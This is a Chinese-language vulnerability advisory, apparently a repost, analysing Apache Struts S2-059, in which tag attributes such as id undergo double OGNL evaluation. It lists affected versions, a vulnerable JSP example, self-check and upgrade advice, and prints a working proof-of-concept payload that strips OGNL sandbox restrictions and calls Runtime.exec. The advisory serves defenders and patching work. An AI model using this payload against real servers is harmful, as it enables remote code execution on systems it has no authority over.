1. 程式人生 > 實用技巧 >s2 059 初步分析

s2 059 初步分析

影響範圍

Struts 2.0.0 - Struts 2.5.20

描述

Apache Struts 2 會對某些標籤屬性(比如 id)的屬性值進行二次表示式解析,並且在 Struts 標籤屬性內強制進行 OGNL 表示式解析時的情況因此在某些場景下將可能導致遠端程式碼執行。

例如服務端如下寫法

<s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>

攻擊者如果可以控制skillName的話,則可以直接傳入一個 OGNL 表示式,那麼最終當標籤渲染的時候,skillName 的表示式就會因為二次解析而被執行。

該漏洞類似於s2-029/s2-036 都是由於struts2 tag解析而引起的ognl表示式。

poc

poc與s2-029/036 的寫法一樣,以下為網上例子

skillName=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))

業務方自查

重點檢查 jsp頁面中是否存在上述示例寫法。

緩解措施

建議升級至 Struts 2.5.22 。如果升級s2元件對您的業務有影響,請參考struts官方文章中如何防止ognl注入。例如可以在沙箱中執行ognl表示式

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

參考

https://cwiki.apache.org/confluence/display/WW/S2-059?spm=a2c4g.11174386.n2.3.40ac1051vjfTnI

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable